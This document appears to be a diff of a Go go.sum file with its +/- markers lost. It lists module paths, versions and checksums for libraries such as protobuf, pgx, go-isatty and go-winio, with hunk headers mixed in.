github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ=
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/fatih/color v1.14.1 h1:qfhVLaG5s+nCROl1zJsZRxFeYrHLqWroPOQ8BWiNb4w=
github.com/fatih/color v1.14.1/go.mod h1:2oHN61fhTpgcxD3TSWCgKDiH1+x4OiDVVGH8WlgGZGg=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
@@ -121,9 +102,8 @@ github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.3.1+incompatible h1:0/KbAdpx3UXAx1kEOWHJeOkpbgRFGHVgv+CFIY7dBJI=
github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
@@ -131,31 +111,17 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
@@ -163,7 +129,6 @@ github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
@@ -179,57 +144,17 @@ github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.3.0 h1:/NQi8KHMpKWHInxXesC8yD4DhkXPrVhmnwYkjp9AmBA=
github.com/jackc/pgx/v5 v5.3.0/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
github.com/jackc/puddle/v2 v2.2.0/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jedib0t/go-pretty/v6 v6.4.2 h1:DcJNSNIb1E17Tvy9w9S7z+sExvWvvjNbFdyr6C+FUL0=
github.com/jedib0t/go-pretty/v6 v6.4.2/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
github.com/jedib0t/go-pretty/v6 v6.4.4 h1:N+gz6UngBPF4M288kiMURPHELDMIhF/Em35aYuKrsSc=
github.com/jedib0t/go-pretty/v6 v6.4.4/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
@@ -245,47 +170,39 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
